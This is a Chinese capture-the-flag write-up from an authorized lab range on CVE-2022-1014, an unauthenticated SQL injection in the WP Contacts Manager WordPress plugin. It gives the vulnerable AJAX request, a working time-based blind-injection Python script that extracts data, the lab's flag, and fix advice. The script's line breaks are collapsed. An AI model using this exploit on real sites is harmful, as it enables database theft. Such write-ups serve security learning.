环境:春秋云境“免费空间”授权实验靶场。历史实例已关闭。
1. 基本信息
| 项目 | 内容 |
|---|---|
| CVE | CVE-2022-1014 |
| 产品 | WP Contacts Manager 2.2.4 |
| 入口 | WP_Contacts_Manager_call&type=get-contact |
| 条件 | 未认证 |
| 漏洞类型 | SQL 注入 |
| Flag | flag{2507d7f5-f593-4251-acb4-c45fdd3ea3ac} |
2. 原理与复现
插件 AJAX 动作未认证且把请求参数拼入查询。授权请求示意:
GET /wp-admin/admin-ajax.php?action=WP_Contacts_Manager_call&type=get-contact&<参数>=<sqli> HTTP/1.1
Host: <WordPress-靶场域名>
先用真假条件确认响应差异,再使用 UNION/盲注读取 flag 表。根据实际列数调整 payload,最终得到:
flag{2507d7f5-f593-4251-acb4-c45fdd3ea3ac}
Python 盲注脚本
下面脚本以时间差作为真假 oracle,FIELD 改成页面实际进入 SQL 的参数名;若本题使用 UNION 直接回显,可跳过脚本。运行前先用已知真/假条件校准 DELAY 和 THRESHOLD,仅对授权靶场使用。
import string
import time
import requestsURL = "https://<authorized-target>/wp-admin/admin-ajax.php"
FIELD = "<injected-parameter>"
SOURCE = "(SELECT flag FROM flag LIMIT 1)"
DELAY = 3.0
THRESHOLD = 2.0
ALPHABET = string.ascii_letters + string.digits + "{}_-."session = requests.Session()def probe(position, character):condition = (f"ASCII(SUBSTRING({SOURCE},{position},1))={ord(character)}")payload = f"' AND IF({condition},SLEEP({DELAY}),0)-- -"started = time.monotonic()session.get(URL,params={"action": "WP_Contacts_Manager_call","type": "get-contact",FIELD: payload,},timeout=DELAY + 5,)return time.monotonic() - started >= THRESHOLDflag = ""
for position in range(1, 81):for character in ALPHABET:if probe(position, character):flag += characterprint(f"{position:02d}: {flag}", flush=True)breakelse:breakif flag.endswith("}"):breakprint("recovered:", flag)
3. 修复建议与验证
为 AJAX 动作增加认证和能力校验,使用预编译 SQL、严格输入校验和最小数据库权限。Flag 与平台记录一致,已提交并关闭靶场。原始参数和列数未保存,截图已保存到 images/ 并由平台详情页复核。
截图证据


